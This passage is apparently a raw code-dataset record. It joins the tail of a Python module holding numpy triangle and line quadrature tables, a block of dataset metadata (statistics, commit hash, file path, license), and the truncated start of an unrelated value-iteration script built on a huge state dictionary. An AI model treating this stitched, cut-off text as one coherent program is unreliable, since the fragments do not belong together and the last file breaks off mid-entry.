0.190704224192292, 0.180483211648746, 0.080711313679564, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608], [0.333333333333333, 0.005658918886452, 0.035647354750751, 0.099520061958437, 0.199467521245206, 0.495717464058095, 0.675905990683077, 0.848248235478508, 0.968690546064356, 0.497170540556774, 0.482176322624625, 0.450239969020782, 0.400266239377397, 0.252141267970953, 0.162047004658461, 0.075875882260746, 0.015654726967822, 0.497170540556774, 0.482176322624624, 0.450239969020781, 0.400266239377397, 0.252141267970952, 0.162047004658462, 0.0758758822607461, 0.015654726967822, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564]]), np.array( [0.0167185996454015, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825])), 18: (np.array([[0.333333333333333, 0.489609987073007, 0.454536892697892, 0.401416680649431, 0.255551654403097, 0.177077942152129, 0.110061053227952, 0.055528624251839, 0.012621863777228, 0.020780025853987, 0.090926214604215, 0.197166638701138, 0.488896691193805, 0.645844115695741, 0.779877893544096, 0.888942751496321, 0.974756272445543, 0.489609987073006, 0.454536892697893, 0.401416680649431, 0.255551654403098, 0.17707794215213, 0.110061053227952, 0.05552862425184, 0.012621863777229, 0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871, 0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784, 0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951, 0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938, 0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178, 0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278, 0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178, 0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278, 0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951, 0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938, 0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871, 0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784], [0.333333333333333, 0.020780025853987, 0.090926214604215, 0.197166638701138, 0.488896691193805, 0.645844115695741, 0.779877893544096, 0.888942751496321, 0.974756272445543, 0.489609987073006, 0.454536892697893, 0.401416680649431, 0.255551654403098, 0.17707794215213, 0.110061053227952, 0.05552862425184, 0.012621863777229, 0.489609987073007, 0.454536892697892, 0.401416680649431, 0.255551654403097, 0.177077942152129, 0.110061053227952, 0.055528624251839, 0.012621863777228, 0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178, 0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278, 0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178, 0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278, 0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951, 0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938, 0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871, 0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784, 0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871, 0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784, 0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951, 0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938]]), np.array( [0.0164531656944595, 0.005165365945636, 0.011193623631508, 0.015133062934734, 0.015245483901099, 0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425, 0.005165365945636, 0.011193623631508, 0.015133062934734, 0.015245483901099, 0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425, 0.005165365945636, 0.011193623631508, 0.015133062934734, 0.015245483901099, 0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651])), 19: (np.array([[0.333333333333333, 0.489609987073007, 0.454536892697892, 0.401416680649431, 0.255551654403097, 0.177077942152129, 0.110061053227952, 0.055528624251839, 0.012621863777228, 0.020780025853987, 0.090926214604215, 0.197166638701138, 0.488896691193805, 0.645844115695741, 0.779877893544096, 0.888942751496321, 0.974756272445543, 0.489609987073006, 0.454536892697893, 0.401416680649431, 0.255551654403098, 0.17707794215213, 0.110061053227952, 0.05552862425184, 0.012621863777229, 0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871, 0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784, 0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951, 0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938, 0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178, 0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278, 0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178, 0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278, 0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951, 0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938, 0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871, 0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784], [0.333333333333333, 0.020780025853987, 0.090926214604215, 0.197166638701138, 0.488896691193805, 0.645844115695741, 0.779877893544096, 0.888942751496321, 0.974756272445543, 0.489609987073006, 0.454536892697893, 0.401416680649431, 0.255551654403098, 0.17707794215213, 0.110061053227952, 0.05552862425184, 0.012621863777229, 0.489609987073007, 0.454536892697892, 0.401416680649431, 0.255551654403097, 0.177077942152129, 0.110061053227952, 0.055528624251839, 0.012621863777228, 0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178, 0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278, 0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178, 0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278, 0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951, 0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938, 0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871, 0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784, 0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871, 0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784, 0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951, 0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938]]), np.array( [0.0164531656944595, 0.005165365945636, 0.011193623631508, 0.015133062934734, 0.015245483901099, 0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425, 0.005165365945636, 0.011193623631508, 0.015133062934734, 0.015245483901099, 0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425, 0.005165365945636, 0.011193623631508, 0.015133062934734, 0.015245483901099, 0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651])), }[norder] except: raise NotImplementedError("get_quadrature_tri: The requested order of quadrature is not implemented!") def get_quadrature_line(norder: int) -> Tuple[np.ndarray, np.ndarray]: """Return a nth order accurate quadrature rule for line [0,1].""" if norder <= 1: norder = 2 X, W = np.polynomial.legendre.leggauss(int(np.ceil((norder + 1.0)/2.0))) return np.array([0.5*X + 0.5]), W/2.0 def get_quadrature_point(norder: int = 0) -> Tuple[np.ndarray, np.ndarray]: """Return the quadrature rule for the point [].""" return np.zeros((0, 1)), np.ones(1)
91.567568
132
0.624262
4,278
50,820
7.409771
0.107994
0.009496
0.010347
0.019307
0.93719
0.919997
0.911575
0.892678
0.881668
0.814568
0
0.804056
0.279162
50,820
554
133
91.732852
0.061256
0.039276
0
0.623984
1
0
0.003952
0
0
0
0
0
0
1
0.010163
false
0
0.004065
0
0.034553
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
5bd73be13eb29a31bdfe6b6dbc1f3334675f52c1
494,316
py
Python
project7/extra.py
MaxRobinson/CS449
cdc65ce4784fb15eeb0a17a50498217f07aa190c
[ "Apache-2.0" ]
null
null
null
project7/extra.py
MaxRobinson/CS449
cdc65ce4784fb15eeb0a17a50498217f07aa190c
[ "Apache-2.0" ]
null
null
null
project7/extra.py
MaxRobinson/CS449
cdc65ce4784fb15eeb0a17a50498217f07aa190c
[ "Apache-2.0" ]
1
2019-09-15T02:22:40.000Z
2019-09-15T02:22:40.000Z
""" Created by Max 12/10/2017 """ from ValueIteration import ValueIteration from Game import Game x = {(0, 32, -5, -5): None, (0, 32, -5, -4): None, (0, 32, -5, -3): None, (0, 32, -5, -2): None, (0, 32, -5, -1): None, (0, 32, -5, 0): None, (0, 32, -5, 1): None, (0, 32, -5, 2): None, (0, 32, -5, 3): None, (0, 32, -5, 4): None, (0, 32, -5, 5): None, (0, 32, -4, -5): None, (0, 32, -4, -4): None, (0, 32, -4, -3): None, (0, 32, -4, -2): None, (0, 32, -4, -1): None, (0, 32, -4, 0): None, (0, 32, -4, 1): None, (0, 32, -4, 2): None, (0, 32, -4, 3): None, (0, 32, -4, 4): None, (0, 32, -4, 5): None, (0, 32, -3, -5): None, (0, 32, -3, -4): None, (0, 32, -3, -3): None, (0, 32, -3, -2): None, (0, 32, -3, -1): None, (0, 32, -3, 0): None, (0, 32, -3, 1): None, (0, 32, -3, 2): None, (0, 32, -3, 3): None, (0, 32, -3, 4): None, (0, 32, -3, 5): None, (0, 32, -2, -5): None, (0, 32, -2, -4): None, (0, 32, -2, -3): None, (0, 32, -2, -2): None, (0, 32, -2, -1): None, (0, 32, -2, 0): None, (0, 32, -2, 1): None, (0, 32, -2, 2): None, (0, 32, -2, 3): None, (0, 32, -2, 4): None, (0, 32, -2, 5): None, (0, 32, -1, -5): None, (0, 32, -1, -4): None, (0, 32, -1, -3): None, (0, 32, -1, -2): None, (0, 32, -1, -1): None, (0, 32, -1, 0): None, (0, 32, -1, 1): None, (0, 32, -1, 2): None, (0, 32, -1, 3): None, (0, 32, -1, 4): None, (0, 32, -1, 5): None, (0, 32, 0, -5): None, (0, 32, 0, -4): None, (0, 32, 0, -3): None, (0, 32, 0, -2): None, (0, 32, 0, -1): None, (0, 32, 0, 0): None, (0, 32, 0, 1): None, (0, 32, 0, 2): None, (0, 32, 0, 3): None, (0, 32, 0, 4): None, (0, 32, 0, 5): None, (0, 32, 1, -5): None, (0, 32, 1, -4): None, (0, 32, 1, -3): None, (0, 32, 1, -2): None, (0, 32, 1, -1): None, (0, 32, 1, 0): None, (0, 32, 1, 1): None, (0, 32, 1, 2): None, (0, 32, 1, 3): None, (0, 32, 1, 4): None, (0, 32, 1, 5): None, (0, 32, 2, -5): None, (0, 32, 2, -4): None, (0, 32, 2, -3): None, (0, 32, 2, -2): None, (0, 32, 2, -1): None, (0, 32, 2, 0): None, (0, 32, 2, 1): None, (0, 32, 2, 2): None, (0, 32, 2, 3): None, (0, 32, 2, 4): None, (0, 32, 2, 5): None, (0, 32, 3, -5): None, (0, 32, 3, -4): None, (0, 32, 3, -3): None, (0, 32, 3, -2): None, (0, 32, 3, -1): None, (0, 32, 3, 0): None, (0, 32, 3, 1): None, (0, 32, 3, 2): None, (0, 32, 3, 3): None, (0, 32, 3, 4): None, (0, 32, 3, 5): None, (0, 32, 4, -5): None, (0, 32, 4, -4): None, (0, 32, 4, -3): None, (0, 32, 4, -2): None, (0, 32, 4, -1): None, (0, 32, 4, 0): None, (0, 32, 4, 1): None, (0, 32, 4, 2): None, (0, 32, 4, 3): None, (0, 32, 4, 4): None, (0, 32, 4, 5): None, (0, 32, 5, -5): None, (0, 32, 5, -4): None, (0, 32, 5, -3): None, (0, 32, 5, -2): None, (0, 32, 5, -1): None, (0, 32, 5, 0): None, (0, 32, 5, 1): None, (0, 32, 5, 2): None, (0, 32, 5, 3): None, (0, 32, 5, 4): None, (0, 32, 5, 5): None, (0, 33, -5, -5): None, (0, 33, -5, -4): None, (0, 33, -5, -3): None, (0, 33, -5, -2): None, (0, 33, -5, -1): None, (0, 33, -5, 0): None, (0, 33, -5, 1): None, (0, 33, -5, 2): None, (0, 33, -5, 3): None, (0, 33, -5, 4): None, (0, 33, -5, 5): None, (0, 33, -4, -5): None, (0, 33, -4, -4): None, (0, 33, -4, -3): None, (0, 33, -4, -2): None, (0, 33, -4, -1): None, (0, 33, -4, 0): None, (0, 33, -4, 1): None, (0, 33, -4, 2): None, (0, 33, -4, 3): None, (0, 33, -4, 4): None, (0, 33, -4, 5): None, (0, 33, -3, -5): None, (0, 33, -3, -4): None, (0, 33, -3, -3): None, (0, 33, -3, -2): None, (0, 33, -3, -1): None, (0, 33, -3, 0): None, (0, 33, -3, 1): None, (0, 33, -3, 2): None, (0, 33, -3, 3): None, (0, 33, -3, 4): None, (0, 33, -3, 5): None, (0, 33, -2, -5): None, (0, 33, -2, -4): None, (0, 33, -2, -3): None, (0, 33, -2, -2): None, (0, 33, -2, -1): None, (0, 33, -2, 0): None, (0, 33, -2, 1): None, (0, 33, -2, 2): None, (0, 33, -2, 3): None, (0, 33, -2, 4): None, (0, 33, -2, 5): None, (0, 33, -1, -5): None, (0, 33, -1, -4): None, (0, 33, -1, -3): None, (0, 33, -1, -2): None, (0, 33, -1, -1): None, (0, 33, -1, 0): None, (0, 33, -1, 1): None, (0, 33, -1, 2): None, (0, 33, -1, 3): None, (0, 33, -1, 4): None, (0, 33, -1, 5): None, (0, 33, 0, -5): None, (0, 33, 0, -4): None, (0, 33, 0, -3): None, (0, 33, 0, -2): None, (0, 33, 0, -1): None, (0, 33, 0, 0): None, (0, 33, 0, 1): None, (0, 33, 0, 2): None, (0, 33, 0, 3): None, (0, 33, 0, 4): None, (0, 33, 0, 5): None, (0, 33, 1, -5): None, (0, 33, 1, -4): None, (0, 33, 1, -3): None, (0, 33, 1, -2): None, (0, 33, 1, -1): None, (0, 33, 1, 0): None, (0, 33, 1, 1): None, (0, 33, 1, 2): None, (0, 33, 1, 3): None, (0, 33, 1, 4): None, (0, 33, 1, 5): None, (0, 33, 2, -5): None, (0, 33, 2, -4): None, (0, 33, 2, -3): None, (0, 33, 2, -2): None, (0, 33, 2, -1): None, (0, 33, 2, 0): None, (0, 33, 2, 1): None, (0, 33, 2, 2): None, (0, 33, 2, 3): None, (0, 33, 2, 4): None, (0, 33, 2, 5): None, (0, 33, 3, -5): None, (0, 33, 3, -4): None, (0, 33, 3, -3): None, (0, 33, 3, -2): None, (0, 33, 3, -1): None, (0, 33, 3, 0): None, (0, 33, 3, 1): None, (0, 33, 3, 2): None, (0, 33, 3, 3): None, (0, 33, 3, 4): None, (0, 33, 3, 5): None, (0, 33, 4, -5): None, (0, 33, 4, -4): None, (0, 33, 4, -3): None, (0, 33, 4, -2): None, (0, 33, 4, -1): None, (0, 33, 4, 0): None, (0, 33, 4, 1): None, (0, 33, 4, 2): None, (0, 33, 4, 3): None, (0, 33, 4, 4): None, (0, 33, 4, 5): None, (0, 33, 5, -5): None, (0, 33, 5, -4): None, (0, 33, 5, -3): None, (0, 33, 5, -2): None, (0, 33, 5, -1): None, (0, 33, 5, 0): None, (0, 33, 5, 1): None, (0, 33, 5, 2): None, (0, 33, 5, 3): None, (0, 33, 5, 4): None, (0, 33, 5, 5): None, (0, 34, -5, -5): None, (0, 34, -5, -4): None, (0, 34, -5, -3): None, (0, 34, -5, -2): None, (0, 34, -5, -1): None, (0, 34, -5, 0): None, (0, 34, -5, 1): None, (0, 34, -5, 2): None, (0, 34, -5, 3): None, (0, 34, -5, 4): None, (0, 34, -5, 5): None, (0, 34, -4, -5): None, (0, 34, -4, -4): None, (0, 34, -4, -3): None, (0, 34, -4, -2): None, (0, 34, -4, -1): None, (0, 34, -4, 0): None, (0, 34, -4, 1): None, (0, 34, -4, 2): None, (0, 34, -4, 3): None, (0, 34, -4, 4): None, (0, 34, -4, 5): None, (0, 34, -3, -5): None, (0, 34, -3, -4): None, (0, 34, -3, -3): None, (0, 34, -3, -2): None, (0, 34, -3, -1): None, (0, 34, -3, 0): None, (0, 34, -3, 1): None, (0, 34, -3, 2): None, (0, 34, -3, 3): None, (0, 34, -3, 4): None, (0, 34, -3, 5): None, (0, 34, -2, -5): None, (0, 34, -2, -4): None, (0, 34, -2, -3): None, (0, 34, -2, -2): None, (0, 34, -2, -1): None, (0, 34, -2, 0): None, (0, 34, -2, 1): None, (0, 34, -2, 2): None, (0, 34, -2, 3): None, (0, 34, -2, 4): None, (0, 34, -2, 5): None, (0, 34, -1, -5): None, (0, 34, -1, -4): None, (0, 34, -1, -3): None, (0, 34, -1, -2): None, (0, 34, -1, -1): None, (0, 34, -1, 0): None, (0, 34, -1, 1): None, (0, 34, -1, 2): None, (0, 34, -1, 3): None, (0, 34, -1, 4): None, (0, 34, -1, 5): None, (0, 34, 0, -5): None, (0, 34, 0, -4): None, (0, 34, 0, -3): None, (0, 34, 0, -2): None, (0, 34, 0, -1): None, (0, 34, 0, 0): None, (0, 34, 0, 1): None, (0, 34, 0, 2): None, (0, 34, 0, 3): None, (0, 34, 0, 4): None, (0, 34, 0, 5): None, (0, 34, 1, -5): None, (0, 34, 1, -4): None, (0, 34, 1, -3): None, (0, 34, 1, -2): None, (0, 34, 1, -1): None, (0, 34, 1, 0): None, (0, 34, 1, 1): None, (0, 34, 1, 2): None, (0, 34, 1, 3): None, (0, 34, 1, 4): None, (0, 34, 1, 5): None, (0, 34, 2, -5): None, (0, 34, 2, -4): None, (0, 34, 2, -3): None, (0, 34, 2, -2): None, (0, 34, 2, -1): None, (0, 34, 2, 0): None, (0, 34, 2, 1): None, (0, 34, 2, 2): None, (0, 34, 2, 3): None, (0, 34, 2, 4): None, (0, 34, 2, 5): None, (0, 34, 3, -5): None, (0, 34, 3, -4): None, (0, 34, 3, -3): None, (0, 34, 3, -2): None, (0, 34, 3, -1): None, (0, 34, 3, 0): None, (0, 34, 3, 1): None, (0, 34, 3, 2): None, (0, 34, 3, 3): None, (0, 34, 3, 4): None, (0, 34, 3, 5): None, (0, 34, 4, -5): None, (0, 34, 4, -4): None, (0, 34, 4, -3): None, (0, 34, 4, -2): None, (0, 34, 4, -1): None, (0, 34, 4, 0): None, (0, 34, 4, 1): None, (0, 34, 4, 2): None, (0, 34, 4, 3): None, (0, 34, 4, 4): None, (0, 34, 4, 5): None, (0, 34, 5, -5): None, (0, 34, 5, -4): None, (0, 34, 5, -3): None, (0, 34, 5, -2): None, (0, 34, 5, -1): None, (0, 34, 5, 0): None, (0, 34, 5, 1): None, (0, 34, 5, 2): None, (0, 34, 5, 3): None, (0, 34, 5, 4): None, (0, 34, 5, 5): None, (0, 35, -5, -5): None, (0, 35, -5, -4): None, (0, 35, -5, -3): None, (0, 35, -5, -2): None, (0, 35, -5, -1): None, (0, 35, -5, 0): None, (0, 35, -5, 1): None, (0, 35, -5, 2): None, (0, 35, -5, 3): None, (0, 35, -5, 4): None, (0, 35, -5, 5): None, (0, 35, -4, -5): None, (0, 35, -4, -4): None, (0, 35, -4, -3): None, (0, 35, -4, -2): None, (0, 35, -4, -1): None, (0, 35, -4, 0): None, (0, 35, -4, 1): None, (0, 35, -4, 2): None, (0, 35, -4, 3): None, (0, 35, -4, 4): None, (0, 35, -4, 5): None, (0, 35, -3, -5): None, (0, 35, -3, -4): None, (0, 35, -3, -3): None, (0, 35, -3, -2): None, (0, 35, -3, -1): None, (0, 35, -3, 0): None, (0, 35, -3, 1): None, (0, 35, -3, 2): None, (0, 35, -3, 3): None, (0, 35, -3, 4): None, (0, 35, -3, 5): None, (0, 35, -2, -5): None, (0, 35, -2, -4): None, (0, 35, -2, -3): None, (0, 35, -2, -2): None, (0, 35, -2, -1): None, (0, 35, -2, 0): None, (0, 35, -2, 1): None, (0, 35, -2, 2): None, (0, 35, -2, 3): None, (0, 35, -2, 4): None, (0, 35, -2, 5): None, (0, 35, -1, -5): None, (0, 35, -1, -4): None, (0, 35, -1, -3): None, (0, 35, -1, -2): None, (0, 35, -1, -1): None, (0, 35, -1, 0): None, (0, 35, -1, 1): None, (0, 35, -1, 2): None, (0, 35, -1, 3): None, (0, 35, -1, 4): None, (0, 35, -1, 5): None, (0, 35, 0, -5): None, (0, 35, 0, -4): None, (0, 35, 0, -3): None, (0, 35, 0, -2): None, (0, 35, 0, -1): None, (0, 35, 0, 0): None, (0, 35, 0, 1): None, (0, 35, 0, 2): None, (0, 35, 0, 3): None, (0, 35, 0, 4): None, (0, 35, 0, 5): None, (0, 35, 1, -5): None, (0, 35, 1, -4): None, (0, 35, 1, -3): None, (0, 35, 1, -2): None, (0, 35, 1, -1): None, (0, 35, 1, 0): None, (0, 35, 1, 1): None, (0, 35, 1, 2): None, (0, 35, 1, 3): None, (0, 35, 1, 4): None, (0, 35, 1, 5): None, (0, 35, 2, -5): None, (0, 35, 2, -4): None, (0, 35, 2, -3): None, (0, 35, 2, -2): None, (0, 35, 2, -1): None, (0, 35, 2, 0): None, (0, 35, 2, 1): None, (0, 35, 2, 2): None, (0, 35, 2, 3): None, (0, 35, 2, 4): None, (0, 35, 2, 5): None, (0, 35, 3, -5): None, (0, 35, 3, -4): None, (0, 35, 3, -3): None, (0, 35, 3, -2): None, (0, 35, 3, -1): None, (0, 35, 3, 0): None, (0, 35, 3, 1): None, (0, 35, 3, 2): None, (0, 35, 3, 3): None, (0, 35, 3, 4): None, (0, 35, 3, 5): None, (0, 35, 4, -5): None, (0, 35, 4, -4): None, (0, 35, 4, -3): None, (0, 35, 4, -2): None, (0, 35, 4, -1): None, (0, 35, 4, 0): None, (0, 35, 4, 1): None, (0, 35, 4, 2): None, (0, 35, 4, 3): None, (0, 35, 4, 4): None, (0, 35, 4, 5): None, (0, 35, 5, -5): None, (0, 35, 5, -4): None, (0, 35, 5, -3): None, (0, 35, 5, -2): None, (0, 35, 5, -1): None, (0, 35, 5, 0): None, (0, 35, 5, 1): None, (0, 35, 5, 2): None, (0, 35, 5, 3): None, (0, 35, 5, 4): None, (0, 35, 5, 5): None, (1, 32, -5, -5): None, (1, 32, -5, -4): None, (1, 32, -5, -3): None, (1, 32, -5, -2): None, (1, 32, -5, -1): None, (1, 32, -5, 0): None, (1, 32, -5, 1): None, (1, 32, -5, 2): None, (1, 32, -5, 3): None, (1, 32, -5, 4): None, (1, 32, -5, 5): None, (1, 32, -4, -5): None, (1, 32, -4, -4): None, (1, 32, -4, -3): None, (1, 32, -4, -2): None, (1, 32, -4, -1): None, (1, 32, -4, 0): None, (1, 32, -4, 1): None, (1, 32, -4, 2): None, (1, 32, -4, 3): None, (1, 32, -4, 4): None, (1, 32, -4, 5): None, (1, 32, -3, -5): None, (1, 32, -3, -4): None, (1, 32, -3, -3): None, (1, 32, -3, -2): None, (1, 32, -3, -1): None, (1, 32, -3, 0): None, (1, 32, -3, 1): None, (1, 32, -3, 2): None, (1, 32, -3, 3): None, (1, 32, -3, 4): None, (1, 32, -3, 5): None, (1, 32, -2, -5): None, (1, 32, -2, -4): None, (1, 32, -2, -3): None, (1, 32, -2, -2): None, (1, 32, -2, -1): None, (1, 32, -2, 0): None, (1, 32, -2, 1): None, (1, 32, -2, 2): None, (1, 32, -2, 3): None, (1, 32, -2, 4): None, (1, 32, -2, 5): None, (1, 32, -1, -5): None, (1, 32, -1, -4): None, (1, 32, -1, -3): None, (1, 32, -1, -2): None, (1, 32, -1, -1): None, (1, 32, -1, 0): None, (1, 32, -1, 1): None, (1, 32, -1, 2): None, (1, 32, -1, 3): None, (1, 32, -1, 4): None, (1, 32, -1, 5): None, (1, 32, 0, -5): None, (1, 32, 0, -4): None, (1, 32, 0, -3): None, (1, 32, 0, -2): None, (1, 32, 0, -1): None, (1, 32, 0, 0): None, (1, 32, 0, 1): None, (1, 32, 0, 2): None, (1, 32, 0, 3): None, (1, 32, 0, 4): None, (1, 32, 0, 5): None, (1, 32, 1, -5): None, (1, 32, 1, -4): None, (1, 32, 1, -3): None, (1, 32, 1, -2): None, (1, 32, 1, -1): None, (1, 32, 1, 0): None, (1, 32, 1, 1): None, (1, 32, 1, 2): None, (1, 32, 1, 3): None, (1, 32, 1, 4): None, (1, 32, 1, 5): None, (1, 32, 2, -5): None, (1, 32, 2, -4): None, (1, 32, 2, -3): None, (1, 32, 2, -2): None, (1, 32, 2, -1): None, (1, 32, 2, 0): None, (1, 32, 2, 1): None, (1, 32, 2, 2): None, (1, 32, 2, 3): None, (1, 32, 2, 4): None, (1, 32, 2, 5): None, (1, 32, 3, -5): None, (1, 32, 3, -4): None, (1, 32, 3, -3): None, (1, 32, 3, -2): None, (1, 32, 3, -1): None, (1, 32, 3, 0): None, (1, 32, 3, 1): None, (1, 32, 3, 2): None, (1, 32, 3, 3): None, (1, 32, 3, 4): None, (1, 32, 3, 5): None, (1, 32, 4, -5): None, (1, 32, 4, -4): None, (1, 32, 4, -3): None, (1, 32, 4, -2): None, (1, 32, 4, -1): None, (1, 32, 4, 0): None, (1, 32, 4, 1): None, (1, 32, 4, 2): None, (1, 32, 4, 3): None, (1, 32, 4, 4): None, (1, 32, 4, 5): None, (1, 32, 5, -5): None, (1, 32, 5, -4): None, (1, 32, 5, -3): None, (1, 32, 5, -2): None, (1, 32, 5, -1): None, (1, 32, 5, 0): None, (1, 32, 5, 1): None, (1, 32, 5, 2): None, (1, 32, 5, 3): None, (1, 32, 5, 4): None, (1, 32, 5, 5): None, (1, 33, -5, -5): None, (1, 33, -5, -4): None, (1, 33, -5, -3): None, (1, 33, -5, -2): None, (1, 33, -5, -1): None, (1, 33, -5, 0): None, (1, 33, -5, 1): None, (1, 33, -5, 2): None, (1, 33, -5, 3): None, (1, 33, -5, 4): None, (1, 33, -5, 5): None, (1, 33, -4, -5): None, (1, 33, -4, -4): None, (1, 33, -4, -3): None, (1, 33, -4, -2): None, (1, 33, -4, -1): None, (1, 33, -4, 0): None, (1, 33, -4, 1): None, (1, 33, -4, 2): 